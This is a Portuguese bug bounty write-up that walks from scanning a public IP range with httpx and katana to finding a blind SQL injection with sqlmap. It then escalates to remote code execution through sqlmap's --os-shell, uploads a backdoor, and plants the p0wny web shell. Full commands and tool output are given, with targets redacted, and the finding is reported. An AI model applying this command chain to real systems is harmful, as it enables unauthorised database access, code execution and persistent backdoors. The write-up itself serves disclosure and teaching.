Como fui de um range de IP até um RCE via SQL Injection — Bug Bounty

Estarei compartilhando o processo que percorri em um dos meus últimos bug bounties para chegar ao tão aclamado RCE (Execução Remota de Código), onde fui de um scan em um range de IP Publico até chegar a uma URL com parâmetros vulnerável a SQL Injection na qual foi escalado até se tornar um RCE.

Ferramentas utilizadas

httpx <https://github.com/projectdiscovery/httpx>
katana <https://github.com/projectdiscovery/katana>
sqlmap <https://github.com/sqlmapproject/sqlmap>

Passo a Passo

Primeiramente ao listar os subdomínios de um domínio de um programa de bug bounty X no <https://subdomainfinder.c99.nl>, percebi que a grande maioria dos subdomínios seguia uma sequencia de IPs públicos no mesmo bloco de IPs:

1.targe.com — 1XX.2XX.40.10
2.targe.com — 1XX.2XX.40.15
3.targe.com — 1XX.2XX.40.200

… desse modo resolvi escanear as sequencias de IPs públicos em vez dos subdomínios, então busquei todas as portas (80,8080,443,5000,8443) que poderiam estar abertas rodando serviços web na referida sequencia de IPs.

Usando o terminal no Linux, inciei a busca por web servers com o seguinte comando usando HTTPX:

echo "1XX.2XX.40.0/24" | httpx -p 80,8080,443,5000,8443 > ips_subdominios.txt

Todo resultado de IPs que estão rodando algum tipo de aplicação web em um web server e suas respectivas portas foram gravadas no arquivo ips_subdominios.txt

Em seguida rodei a ferramenta “katana” para extrair todos os URLs fazendo um processo de spidering de todas as aplicações web que estavam hospedados nessa sequencia de IPs públicos, e ainda fazendo um filtro procurando endpoints .php com parâmetros em GET e mandei salvar em um arquivo chamado urls_parametros_php.txt:

cat ips_subdominios.txt | katana | grep ".php" | grep "?" > urls_parametros_php.txt

Seguidamente usei SQLMap para automatizar o teste de SQL Injection em todas URLS com endpoints .php com parâmetros em GET:

sqlmap -m urls_parametros_php.txt --batch --answers="keep testing=Y,Do you want to follow=N" --dbs --random-agent 

Explicação dos parâmetros usados no SQLMap:

-m (usado para testar vários endpoints com parâmetros dentro de um arquivo TXT)
— batch : (Automatiza o processo de testes sem a necessidade de interação com a ferramenta)
- answers=”keep testing=Y,Do you want to follow=N” (Parâmetro usado para automatizar respostas com Sim ou Não em perguntas da ferramenta)
— dbs (Extrair os bancos de dados)

No processo de teste, o SQLMap encontrou uma URL em um IP Publico na qual existia uma aplicação em PHP Legada que contia um parâmetro que estava vulnerável a Boolean-based blind SQL Injection e não existia um Domain Name amarrada a esse IP:

[XX:31:52] [INFO] GET parameter 'xxx' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[XX:31:56] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
…
[XX:31:58] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP, PHP 5.6.11, Apache 2.4.16
back-end DBMS: MySQL 5
available databases [9]:

Agora usando diretamente a URL que possui o parâmetro vulnerável, foi testado para ver se o “user” dessa conexão ao banco de dados tinha acesso privilegiado de DBA.

sqlmap -u "http://XXX.XXX.XXX.XXX/xxx.php?XXX=*&YYY=%&ZZZ=%" --random-agent --is-dba
the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.16, PHP 5.6.11, PHP
back-end DBMS: MySQL 5
[XX:54:14] [INFO] testing if current user is DBA
[XX:54:14] [INFO] fetching current user
[XX:54:14] [INFO] resumed: root
current user is DBA: True

.. e sim! o acesso ao banco de dados tinha privilégios de DBA, deste modo tentei a opção — os-shell que serve pra escrever um arquivo .php dentro da pasta do web service para permitir executar códigos no S.O.

sqlmap -u "http://XXX.XXX.XXX.XXX/xxx.php?XXX=*&YYY=%&ZZZ=%" --random-agent --os-shell

Ao tentar criar um shell, o SQLMap não identificou automaticamente o caminho no disco onde estava hospedado o sistema web, porém ao acessar varias URLs na aplicação, encontrei uma parte do sistema que gera um erro com informação do caminho do web server como apresentado abaixo:

Notice: Undefined index: xxx in C:\Servidor\xxxx\index.php on line 151

Entrei novamente com o comando — os-shell no SQLMap para criar um shell, e passei o caminho da pasta no disco de forma manual como apresentava no erro mostrado acima.

sqlmap -u "http://XXX.XXX.XXX.XXX/xxx.php?XXX=*&YYY=%&ZZZ=%" --random-agent --os-shell

Please provide a comma separate list of absolute directory paths: 
C:\Servidor\xxxx\

[13:47:41] [INFO] retrieved web server absolute paths: '/navbar, /navbar-inner'
[13:47:41] [INFO] trying to upload the file stager on 'C:/Servidor/xxxx/' via LIMIT 'LINES TERMINATED BY' method
[13:47:42] [WARNING] reflective value(s) found and filtering out
[13:47:42] [INFO] the file stager has been successfully uploaded on 'C:/Servidor/xxxx/' - http://XXX.XXX.XXX.XX:80/tmpuihbe.php
[13:47:42] [INFO] the backdoor has been successfully uploaded on 'C:/Servidor/xxxx/' - http://XXX.XXX.XXX.XX:80/tmpbrenb.php
[13:47:42] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

O SQLMap criou 2 arquivos .PHP no disco, o 1º permitindo executar comandos no S.O e o 2º para fazer upload com acesso irrestrito.

Ao testar o comando no SQLMap foi concluído a efetividade da execução de comando:

os-shell>ipconfig

Windows IP Configuration
Ethernet adapter Ethernet1:
Connection-specific DNS Suffix . :
 Link-local IPv6 Address . . . . . : fe80::8171:XXX
 IPv4 Address. . . . . . . . . . . : 10.XXX.XX.XXX
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 10.XXX.XX.XXX
Tunnel adapter isatap.{5DF66772-B190-XXX-XXX-XXXXXXXXXXX}:
Media State . . . . . . . . . . . : Media disconnected
 Connection-specific DNS Suffix . :

Já o arquivo .PHP para fazer upload irrestrito gerado pelo SQLMap, upei o web shell p0wny: <https://github.com/flozz/p0wny-shell> para teste, onde é possível ter acesso a executar comandos diretamente pelo navegador com interface amigável.

Por fim, após ter provas suficientes do SQL Injection e as possibilidades de RCE, a vulnerabilidade foi reportada a empresa.